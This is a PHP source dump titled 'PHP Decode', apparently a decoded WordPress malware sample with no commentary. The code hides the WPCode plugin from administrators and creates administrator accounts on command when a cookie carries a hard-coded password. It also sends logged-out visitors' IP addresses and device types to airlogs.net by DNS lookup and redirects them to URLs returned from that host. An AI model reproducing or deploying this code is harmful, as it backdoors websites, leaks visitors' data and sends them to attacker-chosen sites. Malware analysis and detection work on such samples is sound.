PHP Decode

<?php 
$_pwsa = '649c79a77fc364992c52814da93deef6'; 
 
if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) { 
    add_action('admin_print_scripts', function () { 
        echo '<style>'; 
        echo '#toplevel_page_wpcode { display: none; }'; 
        echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }'; 
        echo '#wpcode-notice-global-review_request { display: none; }'; 
        echo '</style>'; 
    }); 
 
    add_filter('all_plugins', function ($plugins) { 
        unset($plugins['insert-headers-and-footers/ihaf.php']); 
        return $plugins; 
    }); 
} 
 
if (!function_exists('_red')) { 
    error_reporting(0); 
    ini_set('display_errors', 0); 
 
    function _gcookie($n) 
    { 
        return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : ''; 
    } 
 
    if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) { 
        switch (_gcookie('c')) { 
            case 'sd': 
                $d = _gcookie('d'); 
                if (strpos($d, '.') > 0) { 
                    update_option('d', $d); 
                } 
                break; 
            case 'au': 
                $u = _gcookie('u'); 
                $p = _gcookie('p'); 
                $e = _gcookie('e'); 
 
                if ($u && $p && $e && !username_exists($u)) { 
                    $user_id = wp_create_user($u, $p, $e); 
                    $user = new WP_User($user_id); 
                    $user->set_role('administrator'); 
                } 
                break; 
        } 
        return; 
    } 
 
    if (@stripos(wp_login_url(), ''.$_SERVER['SCRIPT_NAME']) !== false) { 
        return; 
    } 
 
    if (_gcookie("skip") === "1") { 
        return; 
    } 
 
    function _is_mobile() 
    { 
        return @preg_match("/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i", ''.$_SERVER["HTTP_USER_AGENT"]); 
    } 
 
    function _is_iphone() 
    { 
        return @preg_match("/(iphone|ipod)/i", ''.$_SERVER["HTTP_USER_AGENT"]); 
    } 
 
    function _user_ip() 
    { 
        foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { 
            if (array_key_exists($key, $_SERVER) && !empty($_SERVER[$key])) { 
                foreach (@explode(',', ''.$_SERVER[$key]) as $ip) { 
                    $ip = trim($ip); 
                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { 
                        return $ip; 
                    } 
                } 
            } 
        } 
 
        return false; 
    } 
 
    function _red() 
    { 
        if (is_user_logged_in()) { 
            return; 
        } 
 
        $ip = _user_ip(); 
        if (!$ip) { 
            return; 
        } 
 
        $exp = get_transient('exp'); 
        if (!is_array($exp)) { 
            $exp = array(); 
        } 
 
        foreach ($exp as $k => $v) { 
            if (time() - $v > 86400) { 
                unset($exp[$k]); 
            } 
        } 
 
        if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) { 
            return; 
        } 
 
        $host = filter_var(parse_url('https://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME); 
        $ips = str_replace(':', '-', $ip); 
        $ips = str_replace('.', '-', $ips); 
 
        $h = 'airlogs.net'; 
        $o = get_option('d'); 
        if ($o && strpos($o, '.') > 0) { 
            $h = $o; 
        } 
        $m = _is_iphone() ? 'i' : 'm'; 
        $req = (!$host ? 'unk.com' : $host) . '.' . (!$ips ? '0-0-0-0' : $ips) . '.' . mt_rand(100000, 999999) . '.' . (_is_mobile() ? 'n' . $m : 'nd') . '.' . $h; 
 
 
        $v = "dns_" . "get" . "_record"; 
        $s = $v($req, DNS_TXT); 
 
        if (is_array($s) && !empty($s)) { 
            if (isset($s[0]['txt'])) { 
                $s = $s[0]['txt']; 
                $s = base64_decode($s); 
 
                if ($s == 'err') { 
                    $exp[$ip] = time(); 
                    delete_transient('exp'); 
                    set_transient('exp', $exp); 
                } else if (substr($s, 0, 4) === 'http') { 
                    $exp[$ip] = time(); 
                    delete_transient('exp'); 
                    set_transient('exp', $exp); 
                    wp_redirect($s); 
                    exit; 
                } 
            } 
        } 
    } 
 
    add_action('init', '_red'); 
} ?>